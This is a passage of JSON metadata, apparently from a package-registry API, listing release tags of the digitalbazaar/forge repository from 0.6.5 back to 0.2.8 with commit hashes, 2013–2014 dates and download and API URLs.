hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.5/manifests","release_url":null},{"name":"0.6.4","sha":"8d511b8693426f2fd9958c0456c1d10b62b9ec36","kind":"commit","published_at":"2014-06-10T15:48:55.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.4","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.4/manifests","release_url":null},{"name":"0.6.3","sha":"bd43be65c3df8d899662abc1106adfcdeb4508ad","kind":"commit","published_at":"2014-06-10T15:41:08.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.3/manifests","release_url":null},{"name":"0.6.2","sha":"c862327098a86a72eadfe3487e344ef30377ce31","kind":"commit","published_at":"2014-06-09T23:34:43.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.2/manifests","release_url":null},{"name":"0.6.1","sha":"6c5dedc62a86dc32e3039297f57db0f24556b3ea","kind":"commit","published_at":"2014-06-09T18:38:27.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.1/manifests","release_url":null},{"name":"0.6.0","sha":"ffa9f6a336b9cfef11fbd61646c9c2c02ca5873a","kind":"commit","published_at":"2014-06-09T16:26:18.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.0/manifests","release_url":null},{"name":"0.5.5","sha":"14a56c97dc586a95df80494d169487c58a35791a","kind":"commit","published_at":"2014-05-27T16:29:51.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.5.5","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.5/manifests","release_url":null},{"name":"0.5.4","sha":"90bbc1b1d6f2e8f01b0213e9e4425f6c8993fd55","kind":"commit","published_at":"2014-05-26T18:47:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.5.4","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.4/manifests","release_url":null},{"name":"0.5.3","sha":"ac826e30a60678aeeb094cc1a4f96514a7c5b480","kind":"commit","published_at":"2014-05-21T19:54:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.5.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.3/manifests","release_url":null},{"name":"0.5.2","sha":"f52cac5be61542585cb89359d91f0d480dea8b76","kind":"commit","published_at":"2014-05-21T14:48:00.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.5.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.2/manifests","release_url":null},{"name":"0.5.1","sha":"0283109ad42b8c741c97a7560cdb07da9085b356","kind":"commit","published_at":"2014-05-21T05:28:19.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.5.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.1/manifests","release_url":null},{"name":"0.5.0","sha":"4509b0e5fc05945951dbcabd099c9756bb07e004","kind":"commit","published_at":"2014-05-21T05:26:26.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.5.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.5.0/manifests","release_url":null},{"name":"0.4.3","sha":"9a6f956f87d75ba7d41ab7f8d9e276cf72aea5a1","kind":"commit","published_at":"2014-05-16T23:53:51.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.4.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.3/manifests","release_url":null},{"name":"0.4.2","sha":"120ecc8ad0a65eefd099effc3cc47bf8b4b9247b","kind":"commit","published_at":"2014-05-16T23:02:30.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.4.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.2/manifests","release_url":null},{"name":"0.4.1","sha":"8cc9ae55dacbef68c5b418862480c3e79b9fe8a0","kind":"commit","published_at":"2014-05-16T22:53:49.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.4.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.1/manifests","release_url":null},{"name":"0.4.0","sha":"9395844918204a4414f54007b0295dc4a809810d","kind":"commit","published_at":"2014-05-16T20:51:42.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.4.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.4.0/manifests","release_url":null},{"name":"0.3.0","sha":"50905e9cba2a7806fddc7670ec27845ff4ce2ce6","kind":"commit","published_at":"2014-05-13T17:02:43.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.3.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.3.0/manifests","release_url":null},{"name":"0.2.37","sha":"5294fb92f7854814590b1d211f92ae8e93fb17f3","kind":"commit","published_at":"2014-04-12T01:39:52.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.37","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.37/manifests","release_url":null},{"name":"0.2.36","sha":"66a85b2d558588226fe23b3362b22307de360dd7","kind":"commit","published_at":"2014-04-03T15:38:38.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.36","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.36/manifests","release_url":null},{"name":"0.2.35","sha":"2818445392a797ec183c58c1494f4e52d27bf945","kind":"commit","published_at":"2014-03-27T01:08:36.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.35","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.35/manifests","release_url":null},{"name":"0.2.34","sha":"cce0f4c82ddfa78b7e469262fe5bb5384b77b742","kind":"commit","published_at":"2014-03-21T18:08:31.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.34","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.34/manifests","release_url":null},{"name":"0.2.33","sha":"90ac30e1ed05feb59746f4d88091f3a736aa5b47","kind":"commit","published_at":"2014-03-20T01:58:17.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.33","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.33/manifests","release_url":null},{"name":"0.2.32","sha":"9438d3b89873b11b6015ed9deb4d59a43a573d8d","kind":"commit","published_at":"2014-03-19T01:37:02.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.32","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.32/manifests","release_url":null},{"name":"0.2.31","sha":"4efe024758f8f79b9a14ff328be6206bc4e7aa75","kind":"commit","published_at":"2014-03-10T13:56:40.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.31","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.31/manifests","release_url":null},{"name":"0.2.30","sha":"0d4e8fb035ff79f43159b312b76d5254744ebbe8","kind":"commit","published_at":"2014-02-16T22:04:41.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.30","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.30/manifests","release_url":null},{"name":"0.2.29","sha":"1e7d4d2db5e4eafb53746d737b65c704d14e75d9","kind":"commit","published_at":"2014-02-05T16:01:14.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.29","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.29/manifests","release_url":null},{"name":"0.2.28","sha":"722c789a9124feca497f9c6a6448ff65c5197ffb","kind":"commit","published_at":"2014-01-29T02:29:58.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.28","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.28/manifests","release_url":null},{"name":"0.2.27","sha":"40567d23f6a0c881297c51dec28205dc6ffe4914","kind":"commit","published_at":"2014-01-22T02:40:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.27","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.27/manifests","release_url":null},{"name":"0.2.26","sha":"10594554ddc401cb9c594a2de780fd8b7e3af1a7","kind":"commit","published_at":"2014-01-15T22:43:24.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.26","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.26/manifests","release_url":null},{"name":"0.2.25","sha":"ab14fc4bdcbfb9e27008169b0107cac6785dd9d1","kind":"commit","published_at":"2014-01-15T18:53:20.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.25","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.25/manifests","release_url":null},{"name":"0.2.24","sha":"0dce245fe99531f84b93ec5737ef7d866ede0197","kind":"commit","published_at":"2014-01-15T18:29:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.24","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.24/manifests","release_url":null},{"name":"0.2.23","sha":"a1b527a405cb7ce1678c12700dd36f023b9eeaa7","kind":"commit","published_at":"2014-01-08T17:32:10.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.23","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.23/manifests","release_url":null},{"name":"0.2.22","sha":"f5a52abba8662b9101a0f158002e1ae3719041eb","kind":"commit","published_at":"2013-12-11T02:10:20.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.22","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.22/manifests","release_url":null},{"name":"0.2.21","sha":"b92b7c98d983bff01a3a6936d6faa324aabbfc46","kind":"commit","published_at":"2013-12-02T16:47:57.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.21","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.21/manifests","release_url":null},{"name":"0.2.20","sha":"d3977d6be47737e49b42e4989a31906a4a22d14d","kind":"commit","published_at":"2013-11-30T02:53:40.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.20","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.20/manifests","release_url":null},{"name":"0.2.19","sha":"348323cda9a2ba1eb5f9c01244a97fd1219e20db","kind":"commit","published_at":"2013-11-27T16:47:53.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.19","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.19/manifests","release_url":null},{"name":"0.2.18","sha":"3c72c5dca22da10adb45d989d5fe691613170f99","kind":"commit","published_at":"2013-11-15T19:02:46.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.18","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.18/manifests","release_url":null},{"name":"0.2.17","sha":"a6afd0afebabc9f3b9e4f57b5bff5049ee8e5787","kind":"commit","published_at":"2013-10-23T14:45:16.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.17","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.17/manifests","release_url":null},{"name":"0.2.16","sha":"93e907e13422d62205afd926d065a34168b54595","kind":"commit","published_at":"2013-10-23T14:42:56.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.16","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.16/manifests","release_url":null},{"name":"0.2.15","sha":"dd7aa0837ddbd73eeda1409ad0ee4c0798aa7d1e","kind":"commit","published_at":"2013-10-16T00:45:51.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.15","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.15/manifests","release_url":null},{"name":"0.2.14","sha":"0ecb6cb596c80ffccc01e3b5ad648887ac2f34a6","kind":"commit","published_at":"2013-09-28T19:04:23.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.14","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.14/manifests","release_url":null},{"name":"0.2.13","sha":"315affbcc4fa98c6d7b3e3746ee745eeb1c952e1","kind":"commit","published_at":"2013-09-28T02:01:30.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.13","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.13/manifests","release_url":null},{"name":"0.2.12","sha":"fe7a8ad487a4418e3660ec1c380ad19dd7b1e416","kind":"commit","published_at":"2013-09-25T17:10:38.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.12","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.12/manifests","release_url":null},{"name":"0.2.11","sha":"0ecf73882853fe7b68713476e75bc89cb9255551","kind":"commit","published_at":"2013-09-20T16:34:20.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.11","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.11/manifests","release_url":null},{"name":"0.2.10","sha":"25f352685b7c8f0b1d49ea33dbe543ae27257e96","kind":"commit","published_at":"2013-09-19T18:06:03.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.10","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.10/manifests","release_url":null},{"name":"0.2.9","sha":"e6e227c2ee7d5dbbf50df8c7ad07275a9d8ed74d","kind":"commit","published_at":"2013-09-19T17:58:07.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.9","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.9/manifests","release_url":null},{"name":"0.2.8","sha":"5d19ff225e39cf3558fffa75345c3d428c1087e4","kind":"commit","published_at":"2013-09-19T17:16:07.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz